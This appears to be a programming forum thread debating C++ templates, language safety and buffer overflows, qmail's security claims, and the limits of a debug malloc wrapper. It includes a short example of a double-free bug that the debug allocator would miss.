Don't get me wrong, I like C++ as a practical development tool, and I post here fairly often in its defence. But truth be told, templates aren't its strongest point. The feature is valuable -- C++ would be a much weaker language without it -- but it is clumsy and underpowered compared to alternatives available elsewhere.
Advanced template techniques in C++ have their uses, but often what they actually do would be routine in a higher level language anyway. Look at the standard library algorithms, expression templates, policies and such, and compare with routine programming technique using, say, the LISP or ML language families. Note also that performance isn't necessarily hit here; on such verifiable evidence as there is, several languages in the families I mention can hold their own against C.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
There's an old Arab phrase: trust in Allah, but tie up your camel. Trust in programmers all you want, but protect yourself from their mistakes.
Try these two bits of code:andOne of these pieces of code will never have a buffer overflow. Give the right arguments to the other one, and it will also function as a exec function. This is unfixable in C; you have to call it right to avoid buffer overflows. Given that buffer overflows are probably the most common security hole, Ada will certainly make for fewer security problems, and at least leave you more time to think about the other security flaws your code could have.
True; the only realistic standard is a null-terminated character array. However, you can get one of those from a std::string (or a std::wstring) with a trivial function call.
Oh dear. I'm sorry, but that is possibly the worst string class I have ever seen. It has all the bad bits of C++'s std::string, Java's String and StringBuffer, etc:
I'm guessing it was designed by committee? :-)
And I'm still waiting to hear what you think that lot can do that a straightforward std::wstring and some common sense can't...
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
Well, it's true that they have no known buffer overflow-style bugs--brute force can occasionally work.
They have no bugs of that nature due to the way they are written. If you read the source, it's easy to see why they are secure. They don't use static buffers and all network input is checked.
Most security problems with C code stem from the use of the standard C library. Dan doesn't use it. His C library makes it much easier to write secure code. If everyone writing C ditched the standard C library, we would see fewer security related bugs.
See this page for an explanation of why qmail is secure: http://cr.yp.to/qmail/guarantee.html
Where do I get my C web server
http://cr.yp.to/publicfile.html
Yes, but not much more sophisticated. All you really need is something like this:
The code is obviously not complete. It can't reuse the blocks[] array after some free()s and doesn't check overflows, but it should illustrate how easily a simple memory debugger can be built. A simple #ifdef will ensure that a release build will use the real malloc() and free() for maximal speed. This code can also be easily extended to check for memory leaks.EUPHORIA
Well, Ive done lisp, actually before C++, and I found it to be lacking. Its a good attempt, but I dont think it is an optimal implementation of the lambda calculus.
If you've ever seen efficient lisp coding techniques, they tend towards the counter-intuitive.
Whereas templates in C++ are often faster than equivalent C code.
The idea that since computers are getting faster, that performance will become a non-issue is a fallacy. Java, as it exists today, will never be fast. Also, its assignment semantics are simply broken.
I dont rule out the possibility that a higher level language will be invented that doesnt suffer from the failings of lisp, but I havent seen it yet. Perhaps something will come out of category theory...
anyway, thats my opinion...
I have always thought of myself as totally non-evangelical when it comes to languages. But recently I have found myself defending C++, really as a proxy for compiled languages. The abstraction of a VM is a lot better in theory than practice, in my experience, unless the VM is special purpose.
But C++ does offer a "safe" general paradigm, declaring variables which are destroyed on leaving scope. This allows control of all the critical situations. A buffer class can be made as safe to use as the one the compiler or VM manages for you in another "safe language".
C++ programers used not do this because it's not optimal, you end up doing a lot of copying by default. Back when C++ programers had recently been C programmers that seemed like a waste. They availed themselves of the C paradigm still available in C++.
But now it's often a quite acceptable performance degredation.
When it is not acceptable, you can optimize it away without rewriting the code that uses the no-pointer paradigm. Generally, you can override the copy constructor and the "=" operator and start trading pointers and reference counting and avoid all the copying. Since you know your class is used as a variable and not referenced by pointers, you know your destructors will be called. You know no one is passing pointers out of the object that can be abused, they only return objects that encapusulate the evil buffers.
Although it's possible to eliminate use of pointers I don't think that is necessary, it's sufficient to reduce the amount of manipulation you do. So I'm not a purist, I allow myself a few pointers to track in any given object, and rely on a consistent use of the system. But when delivering classes that are more like SDKs, then I have in fact used these "safe" practices.
The real complaint seems to be, perhaps not in your case, but in general, that the fact that there are unsafe -options- means the language itself is unsafe. I think it's more like the operation of a car. A car can be operated safely, and that reduces the chance of an accident to an almost arbitrarily high percentage. But I guess I admit there will be a few accidents over all the roadways, due to recklessness. But I don't want to give up cars for a vehicle that can make recklessness safe, somehow, unless it's performance is really just as good as a car. I mean, going 5 miles an hour is a solution that won't really do compared to good defensive driving.
BUT! I actually do think you're right, I should look at ML, or OCaml, or Scheme. I'm far more suspicious of the idea that VM based languages are the new general purpose language, but other compiled languages, of course, offer their own unique paradigms that are not offered in C++ and if there isn't a sort of automatic pentalty that cannot be optimized away reliably, then I'm inclined to assume that the additional paradigm(s) are further useful tools.
-pyrrho
> secure. They don't use static buffers and all network input is checked.
Well, I was interested to see what really secure C code must look like (I have never actually read the source to qmail or djbdns before), so I took you up on your offer. The first file I opened (qmail: cdbmss.c), at random, had this code:Not only is this code ripe with pointer arithmetic and unchecked (locally) array bounds access, it even says right in it, "XXX overflow?" -- in other words, the author isn't even sure that what he's doing is correct. If the author's not sure, I don't see how it is "easy" to see that this code is secure.
I was actually pretty surprised by the code (looking at a few files after that, I don't see any different) in qmail. Though I would believe that qmail is written by an expert C hacker who is paranoid about security, I don't think there is anything special about the code other than that that gives it extra security. Do you have any particular insight that I'm missing?
Well, keeping a list of memory you've allocated before has the main problem that malloc tends to reuse previously-allocated memory--so you may have a dangling pointer that becomes valid because of another malloc. This code won't catch that during debugging. (But it may be triggerable in the release build!) I don't actually know how common this is, but it is often those insidious corner cases that turn into security holes...
Of course, a scheme like this will also be a lot slower than garbage collection.
Not a big problem. Note that dbg_malloc() can similarly traverse the list before returning, and if the malloc()ed pointer is already in the list, the scenario you cite just happened.
Of course, a scheme like this will also be a lot slower than garbage collection.
Unlike GC, this can be disabled in release builds.
> Not a big problem. Note that dbg_malloc() can similarly traverse the list before returning, and if the malloc()ed pointer is
/* x is 0x800000, debug list holds 0x800000 */ /* debug list holds same value */ /* debug list empty, x and y dangling */ /* malloc reallocates at 0x800000, debug list = 0x800000 */
> already in the list, the scenario you cite just happened.
Maybe I'm misunderstanding your answer, but I don't think this does anything. Here's the simplified version of my scenario:
char * x = malloc(10);
char * y = x;
free(x);
char * z = malloc(10);
free(y);
This sequence of mallocs and frees is obviously buggy, but if malloc chooses to reallocate z to be the same space where x lived, then your debugging malloc won't complain. (However, if a different code path or previous allocations make z be allocated somewhere else, then we have a potentially exploitable double free.) I'm not particularly saying that this is a big deal (I don't know how common this kind of bug is) but merely backing up my statement that doing correct safe malloc/free requires more sophisticated memory management. But much more importantly:
>> Of course, a scheme like this will also be a lot slower than garbage collection.
> Unlike GC, this can be disabled in release builds.
Right, but the release builds are where you want the protection from security holes. Double-frees that are dangerous are not usually ones that happen every time you run the program (because those will cause it to be crashy all the time, which you notice) but the ones that you can trigger via some error condition. For instance, zlib's exploitable hole was like this -- a debugging malloc would never have caught it, unless their test cases included the particular corrupt input that triggered the double-free. Turning off protection is like turning off bounds checks in strncpy for release -- it is precisely that unexpected long input in your release build that you want to protect against!
Sorry, I misunderstood you the first time. You are correct that this particular case won't be caught. One possibility might to never actually free memory in debug mode, which obviously still won't work if you really require lots of memory.
but the release builds are where you want the protection from security holes.
If that's the case, you'll either want to optimize the memory debugging library to look up allocated blocks much more quickly, or use another language.
However, even the simple library that I proposed will probably catch over 90% of the memory bugs, which should make it a worthwhile investment in time.